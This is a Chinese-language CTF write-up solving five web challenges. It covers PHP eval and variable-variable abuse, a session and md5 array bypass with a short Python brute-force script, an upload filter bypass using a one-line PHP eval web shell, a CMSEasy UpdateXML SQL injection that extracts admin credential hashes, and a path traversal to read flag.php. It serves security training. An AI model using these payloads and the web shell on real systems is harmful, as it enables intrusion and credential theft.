爆破-1
打开url后发现页面显示
很明显为一个php审计题,首先用$a接收一个request变量"hello",对变量a进行正则匹配。
'/^\w*$/ //匹配全为字符的字符串
接下来出现了一个敏感函数eval()
eval("var_dump($$a);");
$$a为可变变量。eg.
$a='b';
$b='bb';
//$$a->bb
即$$a会编译变量a,可以联想到php的九大预定义变量:
$_GET //获取所有表单以get方式提交的数据
$_POST //POST提交的所有数据都会在此
$_REQUEST //GET和POST提交的都会保存
$GLOBALS //PHP中的所有全局变量
$_SERVER //服务器信息
$_SESSION //session会话数据
$_COOKIE //cookie会话数据
$_ENV //环境信息
$_FILES //用户上传的文件信息
由于变量A需要匹配正则表达式,则可以尝试构造url
?hello=GLOBALS
即可获得flag
爆破-2
打开URL后,页面同样显示一个php代码。
题目提示:flag不在变量中
这样既可大胆猜测flag应该在flag.php中,接下来就是想办法如何获得flag.php中的内容。
代码依旧需要提交一个hello变量。
可以利用file() 函数,该函数可以用于将整个文件读入数组中。
可以构造url
?hello=file('flag.php')
既可获得flag
爆破-3
又是熟悉的代码审计,首先第一个IF判断语句是在初始化session中一个名为’nums’的属性,第二个IF判断则为超过两分钟后销毁session。接下来request接收一个’value’变量,紧接着第三个IF判断就是重点了。
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
首先判断value变量的第一和第二个字符拼接是否等于session的whoami属性,再判断变量value经过md5加密后的字符串,从第五个字符开始长度为四个字符是否等于0。若两个判断同时正确则session的nums属性自增,并打印出(echo) $str_rands变量,直到nums属性的值大于等于10,则echo出flag。
这样思路就有了,首先先通过提交value变量为ea,然后用数组绕过md5判断。
接下来可以通过手动爆破或者是脚本爆破。
手动爆破
首先构造url
?value[]=ea
接下来通过页面回显的 $str_rands变量的值变成下一个value[]的参数。
?value[]=sa
重复十次,则可获得flag。
脚本爆破
import requests
url="http://1c11a6a0563443a28cba0ca76ebbdcd0056e8f6a0f2646e4.changame.ichunqiu.com/?value[]="
#(高亮)此处的url需要加上/?value[]=
s=requests.Session()
payload='ea'
r=s.get(url+payload)
for i in range(10):
payload=r.text[0:2]
r=s.get(url+payload)
print(r.text[0:50])
运行python脚本即可得到flag。
upload
打开url可以发现一个文件上传窗口。
那我随便上传一个带着phpinfo的php文件试试!
<?php phpinfo(); ?>
点击上传成功即可跳转到上传文件的地址。
页面显示的代码表名好像服务器过滤了"<?"和”php"符号,尝试双写绕过和大小写绕过都无济于事。
接着上传一个php长标签
<script language="pHp">@eval($_POST['psd'])</script>
点击“上传成功”即可获得url。
使用菜刀连接
题目提示密码在flag.php中
点开flag.php即可获得flag。
YeserCMS
首先我们先需要确认CMS版本,文档下载→随意点击其中一个文档→评论区
可以看出该网站是CMSEASY系统
接下来就需要万能的某度了,查找该系统曾经出现的漏洞
好了找了半天无果,果断开始查找wp!
看到别人大佬提到了一个叫“无限制报错注入”的漏洞!尝试通过该网址中提到的url和payload进行注入!
url:
http://xxx.com/celive/live/header.php
payload:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,37),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
发现页面仅出现了账号和一部分密码,接下来修改payload的截取片段
payload:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
对回显进行拼接即可得到完整的密码加密后的字符串。
[admin|ff512d4240cbbdeafada404677ccbe61]
接下来对密码部分进行md5解密
接着就可以开始后台登录了!
原本想着能不能在后台找到一个文件上传漏洞,好吧不行,迫不得已(快快乐乐)看了别人的WP,发现原来在当前模板编辑处存在文件读取漏洞
接着打开模板→ 当前模板编辑→选择其中一个模板编辑并用bp抓包,然后修改id的值为
&id=../../flag.php
即可获得flag!(这题真的只有五十分吗!)